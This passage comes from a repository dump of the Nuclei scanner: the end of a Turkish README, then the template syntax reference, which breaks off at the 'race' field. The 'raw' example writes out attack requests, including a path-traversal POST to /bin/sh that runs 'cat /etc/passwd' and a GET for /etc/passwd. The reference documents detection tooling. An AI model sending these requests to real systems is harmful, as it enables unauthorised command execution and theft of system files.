[**`dokümantasyona`**](https://docs.projectdiscovery.io/cloud/scanning/nuclei-scan?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) bakın.\n\n<br>\n<br>\n\n## Nuclei Şablonları, Topluluk ve Ödüller 💎\n[**Nuclei şablonları**](https://github.com/projectdiscovery/nuclei-templates), isteklerin nasıl gönderileceğini ve işleneceğini tanımlayan YAML tabanlı şablon dosyaları kavramına dayanır. Bu, nuclei'ye kolay genişletilebilirlik yetenekleri sağlar. Şablonlar, yürütme sürecini hızlı bir şekilde tanımlamak için insan tarafından okunabilir basit bir format belirten YAML ile yazılmıştır.\n\n**[**`Buraya tıklayarak`**](https://cloud.projectdiscovery.io/templates) ücretsiz yapay zeka destekli Nuclei Şablon Editörü ile çevrimiçi deneyin.**\n\nNuclei Şablonları, önem dereceleri ve tespit yöntemleri gibi temel ayrıntıları birleştirerek güvenlik açıklarını tanımlamak ve iletmek için akıcı bir yol sunar. Bu açık kaynaklı, topluluk tarafından geliştirilen araç, tehdit yanıtını hızlandırır ve siber güvenlik dünyasında geniş çapta tanınmaktadır. Nuclei şablonları, dünya çapında binlerce güvenlik araştırmacısı tarafından aktif olarak katkıda bulunulmaktadır. Katılımcılarımız için iki program yürütüyoruz: [**`Öncüler (Pioneers)`**](https://projectdiscovery.io/pioneers) ve [**`💎 ödüller`**](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22).\n\n\n<p align=\"left\">\n    <a href=\"/static/nuclei-templates-teamcity.png\"  target=\"_blank\"><img src=\"/static/nuclei-templates-teamcity.png\" width=\"1200px\" alt=\"TeamCity yanlış yapılandırmasını tespit etmek için Nuclei şablon örneği\" /></a>\n</p>\n\n#### Örnekler\n\nKullanım durumları ve fikirler için [**dokümantasyonumuzu**](https://docs.projectdiscovery.io/templates/introduction) ziyaret edin.\n\n| Kullanım durumu                        | Nuclei şablonu                                     |\n| :----------------------------------- | :------------------------------------------------- |\n| Bilinen CVE'leri tespit et           | **[CVE-2021-44228 (Log4Shell)](https://cloud.projectdiscovery.io/public/CVE-2021-45046)**                     |\n| Bant Dışı (Out-of-Band) zafiyetlerini belirle | **[Blind SQL Injection via OOB](https://cloud.projectdiscovery.io/public/CVE-2024-22120)**                    |\n| SQL Injection tespiti                | **[Generic SQL Injection](https://cloud.projectdiscovery.io/public/CVE-2022-34265)**                          |\n| Siteler Arası Komut Dosyası Çalıştırma (XSS) | **[Reflected XSS Detection](https://cloud.projectdiscovery.io/public/CVE-2023-4173)**                        |\n| Varsayılan veya zayıf şifreler       | **[Default Credentials Check](https://cloud.projectdiscovery.io/public/airflow-default-login)**                      |\n| Gizli dosyalar veya veri ifşası      | **[Sensitive File Disclosure](https://cloud.projectdiscovery.io/public/airflow-configuration-exposure)**                      |\n| Açık yönlendirmeleri (open redirects) belirle | **[Open Redirect Detection](https://cloud.projectdiscovery.io/public/open-redirect)**                        |\n| Alt alan adı devralmalarını (takeover) tespit et | **[Subdomain Takeover Templates](https://cloud.projectdiscovery.io/public/azure-takeover-detection)**                   |\n| Güvenlik yanlış yapılandırmaları     | **[Unprotected Jenkins Console](https://cloud.projectdiscovery.io/public/unauthenticated-jenkins)**                    |\n| Zayıf SSL/TLS yapılandırmaları       | **[SSL Certificate Expiry](https://cloud.projectdiscovery.io/public/expired-ssl)**                         |\n| Yanlış yapılandırılmış bulut hizmetleri | **[Open S3 Bucket Detection](https://cloud.projectdiscovery.io/public/s3-public-read-acp)**                       |\n| Uzaktan kod yürütme zafiyetleri      | **[RCE Detection Templates](https://cloud.projectdiscovery.io/public/CVE-2024-29824)**                        |\n| Dizin geçiş (path traversal) saldırıları | **[Path Traversal Detection](https://cloud.projectdiscovery.io/public/oracle-fatwire-lfi)**                       |\n| Dosya dahil etme (file inclusion) zafiyetleri | **[Local/Remote File Inclusion](https://cloud.projectdiscovery.io/public/CVE-2023-6977)**                    |\n\n\n<br>\n<br>\n\n## Misyonumuz\n\nGeleneksel zafiyet tarayıcıları on yıllar önce inşa edildi. Kapalı kaynaklıdırlar, inanılmaz derecede yavaştırlar ve satıcı odaklıdırlar. Günümüzün saldırganları, eskiden yıllar süren süreçlerin aksine, yeni yayınlanan CVE'leri günler içinde internet genelinde kitlesel olarak istismar ediyor. Bu değişim, internetteki trend olan istismarlarla mücadele etmek için tamamen farklı bir yaklaşım gerektiriyor.\n\nBu zorluğu çözmek için Nuclei'yi inşa ettik. Tüm tarama motoru çerçevesini açık ve özelleştirilebilir hale getirdik; bu sayede küresel güvenlik topluluğunun işbirliği yapmasına ve internet üzerindeki trend saldırı vektörlerini ve zafiyetlerini ele almasına olanak tanıdık. Nuclei artık Fortune 500 şirketleri, devlet kurumları ve üniversiteler tarafından kullanılmakta ve katkıda bulunulmaktadır.\n\nKodumuza, [**`şablon kitaplığımıza`**](https://github.com/projectdiscovery/nuclei-templates) katkıda bulunarak veya [**`ekibimize katılarak`**](https://projectdiscovery.io/) siz de yer alabilirsiniz.\n\n<br>\n<br>\n\n## Katkıda Bulunanlar :heart:\n\nProjeyi güncel tuttukları ve [**`PR gönderdikleri için harika topluluk katkıda bulunanlara`**](https://github.com/projectdiscovery/nuclei/graphs/contributors) teşekkür ederiz. :heart:\n\n(Katkıda bulunanların listesi orijinalindeki gibi korunmuştur)\n<p align=\"left\">\n<a href=\"https://github.com/Ice3man543\"><img src=\"https://avatars.githubusercontent.com/u/22318055?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/apps/dependabot\"><img src=\"https://avatars.githubusercontent.com/in/29110?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<!-- Diğer katkıda bulunanlar buraya gelecek, görsel olarak aynı kalmalı -->\n...\n</p>\n\n<br>\n<br>\n<br>\n\n<div align=\"center\">\n  \n  <sub>**`nuclei`** [**MIT Lisansı**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md) altında dağıtılmaktadır.</sub>\n\n</div>\n"
  },
  {
    "path": "SYNTAX-REFERENCE.md",
    "content": "\n\n\n\n## Template\nTemplate is a YAML input file which defines all the requests and\n other metadata for a template.\n\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the unique id for the template.\n\n#### Good IDs\n\nA good ID uniquely identifies what the requests in the template\nare doing. Let's say you have a template that identifies a git-config\nfile on the webservers, a good name would be `git-config-exposure`. Another\nexample name is `azure-apps-nxdomain-takeover`.\n\n\n\nExamples:\n\n\n```yaml\n# ID Example\nid: CVE-2021-19520\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>info</code>  <i><a href=\"#modelinfo\">model.Info</a></i>\n\n</div>\n<div class=\"dt\">\n\nInfo contains metadata information about the template.\n\n\n\nExamples:\n\n\n```yaml\ninfo:\n    name: Argument Injection in Ruby Dragonfly\n    author: 0xspara\n    tags: cve,cve2021,rce,ruby\n    reference: https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/\n    severity: high\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>flow</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n   Flow contains the execution flow for the template.\n examples:\n   - flow: |\n \t\tfor region in regions {\n\t\t    http(0)\n\t\t }\n\t\t for vpc in vpcs {\n\t\t    http(1)\n\t\t }\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>requests</code>  <i>[]<a href=\"#httprequest\">http.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nRequests contains the http request to make in the template.\nWARNING: 'requests' will be deprecated and will be removed in a future release. Please use 'http' instead.\n\n\n\nExamples:\n\n\n```yaml\nrequests:\n    matchers:\n        - type: word\n          words:\n            - '[core]'\n        - type: dsl\n          condition: and\n          dsl:\n            - '!contains(tolower(body), ''<html'')'\n            - '!contains(tolower(body), ''<body'')'\n        - type: status\n          status:\n            - 200\n    matchers-condition: and\n    path:\n        - '{{BaseURL}}/.git/config'\n    method: GET\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>http</code>  <i>[]<a href=\"#httprequest\">http.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n   HTTP contains the http request to make in the template.\n examples:\n   - value: exampleNormalHTTPRequest\n RequestsWithHTTP is placeholder(internal) only, and should not be used instead use RequestsHTTP\n Deprecated: Use RequestsHTTP instead.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>dns</code>  <i>[]<a href=\"#dnsrequest\">dns.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nDNS contains the dns request to make in the template\n\n\n\nExamples:\n\n\n```yaml\ndns:\n    extractors:\n        - type: regex\n          regex:\n            - ec2-[-\\d]+\\.compute[-\\d]*\\.amazonaws\\.com\n            - ec2-[-\\d]+\\.[\\w\\d\\-]+\\.compute[-\\d]*\\.amazonaws\\.com\n    name: '{{FQDN}}'\n    type: CNAME\n    class: inet\n    retries: 2\n    recursion: false\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>file</code>  <i>[]<a href=\"#filerequest\">file.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nFile contains the file request to make in the template\n\n\n\nExamples:\n\n\n```yaml\nfile:\n    extractors:\n        - type: regex\n          regex:\n            - amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\n    extensions:\n        - all\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>network</code>  <i>[]<a href=\"#networkrequest\">network.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nNetwork contains the network request to make in the template\nWARNING: 'network' will be deprecated and will be removed in a future release. Please use 'tcp' instead.\n\n\n\nExamples:\n\n\n```yaml\nnetwork:\n    host:\n        - '{{Hostname}}'\n        - '{{Hostname}}:2181'\n    inputs:\n        - data: \"envi\\r\\nquit\\r\\n\"\n    read-size: 2048\n    matchers:\n        - type: word\n          words:\n            - zookeeper.version\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>tcp</code>  <i>[]<a href=\"#networkrequest\">network.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n   TCP contains the network request to make in the template\n examples:\n   - value: exampleNormalNetworkRequest\n RequestsWithTCP is placeholder(internal) only, and should not be used instead use RequestsNetwork\n Deprecated: Use RequestsNetwork instead.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>headless</code>  <i>[]<a href=\"#headlessrequest\">headless.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nHeadless contains the headless request to make in the template.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>ssl</code>  <i>[]<a href=\"#sslrequest\">ssl.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nSSL contains the SSL request to make in the template.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>websocket</code>  <i>[]<a href=\"#websocketrequest\">websocket.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nWebsocket contains the Websocket request to make in the template.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>whois</code>  <i>[]<a href=\"#whoisrequest\">whois.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nWHOIS contains the WHOIS request to make in the template.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>code</code>  <i>[]<a href=\"#coderequest\">code.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nCode contains code snippets.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>javascript</code>  <i>[]<a href=\"#javascriptrequest\">javascript.Request</a></i>\n\n</div>\n<div class=\"dt\">\n\nJavascript contains the javascript request to make in the template.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>self-contained</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nSelf Contained marks Requests for the template as self-contained\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>stop-at-first-match</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nStop execution once first match is found\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>signature</code>  <i><a href=\"#httpsignaturetypeholder\">http.SignatureTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nSignature is the request signature method\nWARNING: 'signature' will be deprecated and will be removed in a future release. Prefer using 'code' protocol for writing cloud checks\n\n\nValid values:\n\n\n  - <code>AWS</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>variables</code>  <i><a href=\"#variablesvariable\">variables.Variable</a></i>\n\n</div>\n<div class=\"dt\">\n\nVariables contains any variables for the current request.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>constants</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nConstants contains any scalar constant for the current template\n\n</div>\n\n<hr />\n\n\n\n\n\n## model.Info\nInfo contains metadata information about a template\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.info</code>\n\n\n```yaml\nname: Argument Injection in Ruby Dragonfly\nauthor: 0xspara\ntags: cve,cve2021,rce,ruby\nreference: https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/\nseverity: high\n```\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>name</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nName should be good short summary that identifies what the template does.\n\n\n\nExamples:\n\n\n```yaml\nname: bower.json file disclosure\n```\n\n```yaml\nname: Nagios Default Credentials Check\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>author</code>  <i><a href=\"#stringslicestringslice\">stringslice.StringSlice</a></i>\n\n</div>\n<div class=\"dt\">\n\nAuthor of the template.\n\nMultiple values can also be specified separated by commas.\n\n\n\nExamples:\n\n\n```yaml\nauthor: <username>\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>tags</code>  <i><a href=\"#stringslicestringslice\">stringslice.StringSlice</a></i>\n\n</div>\n<div class=\"dt\">\n\nAny tags for the template.\n\nMultiple values can also be specified separated by commas.\n\n\n\nExamples:\n\n\n```yaml\n# Example tags\ntags: cve,cve2019,grafana,auth-bypass,dos\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>description</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nDescription of the template.\n\nYou can go in-depth here on what the template actually does.\n\n\n\nExamples:\n\n\n```yaml\ndescription: Bower is a package manager which stores package information in the bower.json file\n```\n\n```yaml\ndescription: Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>impact</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nImpact of the template.\n\nYou can go in-depth here on impact of the template.\n\n\n\nExamples:\n\n\n```yaml\nimpact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.\n```\n\n```yaml\nimpact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>reference</code>  <i><a href=\"#stringslicerawstringslice\">stringslice.RawStringSlice</a></i>\n\n</div>\n<div class=\"dt\">\n\nReferences for the template.\n\nThis should contain links relevant to the template.\n\n\n\nExamples:\n\n\n```yaml\nreference:\n    - https://github.com/strapi/strapi\n    - https://github.com/getgrav/grav\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>severity</code>  <i><a href=\"#severityholder\">severity.Holder</a></i>\n\n</div>\n<div class=\"dt\">\n\nSeverity of the template.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>metadata</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nMetadata of the template.\n\n\n\nExamples:\n\n\n```yaml\nmetadata:\n    customField1: customValue1\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>classification</code>  <i><a href=\"#modelclassification\">model.Classification</a></i>\n\n</div>\n<div class=\"dt\">\n\nClassification contains classification information about the template.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>remediation</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nRemediation steps for the template.\n\nYou can go in-depth here on how to mitigate the problem found by this template.\n\n\n\nExamples:\n\n\n```yaml\nremediation: Change the default administrative username and password of Apache ActiveMQ by editing the file jetty-realm.properties\n```\n\n\n</div>\n\n<hr />\n\n\n\n\n\n## stringslice.StringSlice\nStringSlice represents a single (in-lined) or multiple string value(s).\n The unmarshaller does not automatically convert in-lined strings to []string, hence the interface{} type is required.\n\nAppears in:\n\n\n- <code><a href=\"#modelinfo\">model.Info</a>.author</code>\n\n- <code><a href=\"#modelinfo\">model.Info</a>.tags</code>\n\n- <code><a href=\"#modelclassification\">model.Classification</a>.cve-id</code>\n\n- <code><a href=\"#modelclassification\">model.Classification</a>.cwe-id</code>\n\n\n```yaml\n<username>\n```\n```yaml\n# Example tags\ncve,cve2019,grafana,auth-bypass,dos\n```\n```yaml\nCVE-2020-14420\n```\n```yaml\nCWE-22\n```\n\n\n\n\n\n## stringslice.RawStringSlice\n\nAppears in:\n\n\n- <code><a href=\"#modelinfo\">model.Info</a>.reference</code>\n\n\n```yaml\n- https://github.com/strapi/strapi\n- https://github.com/getgrav/grav\n```\n\n\n\n\n\n## severity.Holder\nHolder holds a Severity type. Required for un/marshalling purposes\n\nAppears in:\n\n\n- <code><a href=\"#modelinfo\">model.Info</a>.severity</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code></code>  <i>Severity</i>\n\n</div>\n<div class=\"dt\">\n\n\n\n\nEnum Values:\n\n\n  - <code>undefined</code>\n\n  - <code>info</code>\n\n  - <code>low</code>\n\n  - <code>medium</code>\n\n  - <code>high</code>\n\n  - <code>critical</code>\n\n  - <code>unknown</code>\n</div>\n\n<hr />\n\n\n\n\n\n## model.Classification\n\nAppears in:\n\n\n- <code><a href=\"#modelinfo\">model.Info</a>.classification</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>cve-id</code>  <i><a href=\"#stringslicestringslice\">stringslice.StringSlice</a></i>\n\n</div>\n<div class=\"dt\">\n\nCVE ID for the template\n\n\n\nExamples:\n\n\n```yaml\ncve-id: CVE-2020-14420\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>cwe-id</code>  <i><a href=\"#stringslicestringslice\">stringslice.StringSlice</a></i>\n\n</div>\n<div class=\"dt\">\n\nCWE ID for the template.\n\n\n\nExamples:\n\n\n```yaml\ncwe-id: CWE-22\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>cvss-metrics</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nCVSS Metrics for the template.\n\n\n\nExamples:\n\n\n```yaml\ncvss-metrics: 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>cvss-score</code>  <i>float64</i>\n\n</div>\n<div class=\"dt\">\n\nCVSS Score for the template.\n\n\n\nExamples:\n\n\n```yaml\ncvss-score: \"9.8\"\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>epss-score</code>  <i>float64</i>\n\n</div>\n<div class=\"dt\">\n\nEPSS Score for the template.\n\n\n\nExamples:\n\n\n```yaml\nepss-score: \"0.42509\"\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>epss-percentile</code>  <i>float64</i>\n\n</div>\n<div class=\"dt\">\n\nEPSS Percentile for the template.\n\n\n\nExamples:\n\n\n```yaml\nepss-percentile: \"0.42509\"\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>cpe</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nCPE for the template.\n\n\n\nExamples:\n\n\n```yaml\ncpe: cpe:/a:vendor:product:version\n```\n\n\n</div>\n\n<hr />\n\n\n\n\n\n## http.Request\nRequest contains a http request to be made from a template\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.requests</code>\n\n- <code><a href=\"#template\">Template</a>.http</code>\n\n\n```yaml\nmatchers:\n    - type: word\n      words:\n        - '[core]'\n    - type: dsl\n      condition: and\n      dsl:\n        - '!contains(tolower(body), ''<html'')'\n        - '!contains(tolower(body), ''<body'')'\n    - type: status\n      status:\n        - 200\nmatchers-condition: and\npath:\n    - '{{BaseURL}}/.git/config'\nmethod: GET\n```\n\nPart Definitions: \n\n\n- <code>template-id</code> - ID of the template executed\n- <code>template-info</code> - Info Block of the template executed\n- <code>template-path</code> - Path of the template executed\n- <code>host</code> - Host is the input to the template\n- <code>matched</code> - Matched is the input which was matched upon\n- <code>type</code> - Type is the type of request made\n- <code>request</code> - HTTP request made from the client\n- <code>response</code> - HTTP response received from server\n- <code>status_code</code> - Status Code received from the Server\n- <code>body</code> - HTTP response body received from server (default)\n- <code>content_length</code> - HTTP Response content length\n- <code>header,all_headers</code> - HTTP response headers\n- <code>duration</code> - HTTP request time duration\n- <code>all</code> - HTTP response body + headers\n- <code>cookies_from_response</code> - HTTP response cookies in name:value format\n- <code>headers_from_response</code> - HTTP response headers in name:value format\n\n<hr />\n\n<div class=\"dd\">\n\n<code>path</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nPath contains the path/s for the HTTP requests. It supports variables\nas placeholders.\n\n\n\nExamples:\n\n\n```yaml\n# Some example path values\npath:\n    - '{{BaseURL}}'\n    - '{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions'\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>raw</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nRaw contains HTTP Requests in Raw format.\n\n\n\nExamples:\n\n\n```yaml\n# Some example raw requests\nraw:\n    - |-\n      GET /etc/passwd HTTP/1.1\n      Host:\n      Content-Length: 4\n    - |-\n      POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1\n      Host: {{Hostname}}\n      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\n      Content-Length: 1\n      Connection: close\n\n      echo\n      echo\n      cat /etc/passwd 2>&1\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the optional id of the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>name</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nName is the optional name of the request.\n\nIf a name is specified, all the named request in a template can be matched upon\nin a combined manner allowing multi-request based matchers.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>attack</code>  <i><a href=\"#generatorsattacktypeholder\">generators.AttackTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nAttack is the type of payload combinations to perform.\n\nbatteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\npermutations and combinations for all payloads.\n\n\nValid values:\n\n\n  - <code>batteringram</code>\n\n  - <code>pitchfork</code>\n\n  - <code>clusterbomb</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>method</code>  <i><a href=\"#httpmethodtypeholder\">HTTPMethodTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nMethod is the HTTP Request Method.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>body</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nBody is an optional parameter which contains HTTP Request body.\n\n\n\nExamples:\n\n\n```yaml\n# Same Body for a Login POST request\nbody: username=test&password=test\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>payloads</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nPayloads contains any payloads for the current request.\n\nPayloads support both key-values combinations where a list\nof payloads is provided, or optionally a single file can also\nbe provided as payload which will be read on run-time.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>headers</code>  <i>map[string]string</i>\n\n</div>\n<div class=\"dt\">\n\nHeaders contains HTTP Headers to send with the request.\n\n\n\nExamples:\n\n\n```yaml\nheaders:\n    Any-Header: Any-Value\n    Content-Length: \"1\"\n    Content-Type: application/x-www-form-urlencoded\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>race_count</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nRaceCount is the number of times to send a request in Race Condition Attack.\n\n\n\nExamples:\n\n\n```yaml\n# Send a request 5 times\nrace_count: 5\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>max-redirects</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nMaxRedirects is the maximum number of redirects that should be followed.\n\n\n\nExamples:\n\n\n```yaml\n# Follow up to 5 redirects\nmax-redirects: 5\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>pipeline-concurrent-connections</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nPipelineConcurrentConnections is number of connections to create during pipelining.\n\n\n\nExamples:\n\n\n```yaml\n# Create 40 concurrent connections\npipeline-concurrent-connections: 40\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>pipeline-requests-per-connection</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nPipelineRequestsPerConnection is number of requests to send per connection when pipelining.\n\n\n\nExamples:\n\n\n```yaml\n# Send 100 requests per pipeline connection\npipeline-requests-per-connection: 100\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>threads</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nThreads specifies number of threads to use sending requests. This enables Connection Pooling.\n\nConnection: Close attribute must not be used in request while using threads flag, otherwise\npooling will fail and engine will continue to close connections after requests.\n\n\n\nExamples:\n\n\n```yaml\n# Send requests using 10 concurrent threads\nthreads: 10\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>max-size</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nMaxSize is the maximum size of http response body to read in bytes.\n\n\n\nExamples:\n\n\n```yaml\n# Read max 2048 bytes of the response\nmax-size: 2048\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>fuzzing</code>  <i>[]<a href=\"#fuzzrule\">fuzz.Rule</a></i>\n\n</div>\n<div class=\"dt\">\n\nFuzzing describes schema to fuzz http requests\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>analyzer</code>  <i><a href=\"#analyzersanalyzertemplate\">analyzers.AnalyzerTemplate</a></i>\n\n</div>\n<div class=\"dt\">\n\nAnalyzer is an analyzer to use for matching the response.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>self-contained</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nSelfContained specifies if the request is self-contained.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>signature</code>  <i><a href=\"#signaturetypeholder\">SignatureTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nSignature is the request signature method\n\n\nValid values:\n\n\n  - <code>AWS</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>skip-secret-file</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nSkipSecretFile skips the authentication or authorization configured in the secret file.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>cookie-reuse</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nCookieReuse is an optional setting that enables cookie reuse for\nall requests defined in raw section.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>disable-cookie</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nDisableCookie is an optional setting that disables cookie reuse\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>read-all</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nEnables force reading of the entire raw unsafe request body ignoring\nany specified content length headers.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>redirects</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nRedirects specifies whether redirects should be followed by the HTTP Client.\n\nThis can be used in conjunction with `max-redirects` to control the HTTP request redirects.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>host-redirects</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nRedirects specifies whether only redirects to the same host should be followed by the HTTP Client.\n\nThis can be used in conjunction with `max-redirects` to control the HTTP request redirects.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>pipeline</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nPipeline defines if the attack should be performed with HTTP 1.1 Pipelining\n\nAll requests must be idempotent (GET/POST). This can be used for race conditions/billions requests.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>unsafe</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nUnsafe specifies whether to use rawhttp engine for sending Non RFC-Compliant requests.\n\nThis uses the [rawhttp](https://github.com/projectdiscovery/rawhttp) engine to achieve complete\ncontrol over the request, with no normalization performed by the client.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>race</code>  